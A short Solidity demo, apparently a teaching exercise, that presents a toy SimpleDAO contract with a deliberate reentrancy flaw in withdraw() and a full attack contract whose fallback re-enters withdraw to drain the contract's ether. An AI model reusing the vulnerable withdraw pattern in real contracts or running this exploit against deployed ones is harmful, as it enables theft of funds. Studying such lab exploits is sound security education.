Demo: Hack SimpleDAO

Write an attack contract in solidity to steal funds from the following SimpleDAO contract.
pragma solidity ^0.5.0;

contract SimpleDAO {
    mapping(address => uint) public balance;
 
    function deposit() public payable {
        balance[msg.sender] += msg.value;
    }

    function withdraw(uint amount) public {
       require(balance[msg.sender] >= amount, "not enough balance");
       msg.sender.call.value(amount)("");
       balance[msg.sender] -= amount;
    }
}

Here is an example of how to hack SimpleDAO:
pragma solidity ^0.5.0;

interface SimpleDAOInterface {
    function deposit() external payable;
    function withdraw(uint amount) external;
}

contract HackSimpleDAO {
    address simpleDAOAddr;

    constructor() public payable {}
    
    function hack(address addr) public payable {
        simpleDAOAddr = addr;

        SimpleDAOInterface sd = SimpleDAOInterface(simpleDAOAddr);
        sd.deposit.value(1 ether)();
        sd.withdraw(1 ether);
        
        selfdestruct(msg.sender);
    }

    function () external payable {
        uint256 balance = simpleDAOAddr.balance;
        if (balance == 0) return;
        if (balance > 1 ether) balance = 1 ether;
        SimpleDAOInterface sd = SimpleDAOInterface(simpleDAOAddr);
        sd.withdraw(balance);
    }
}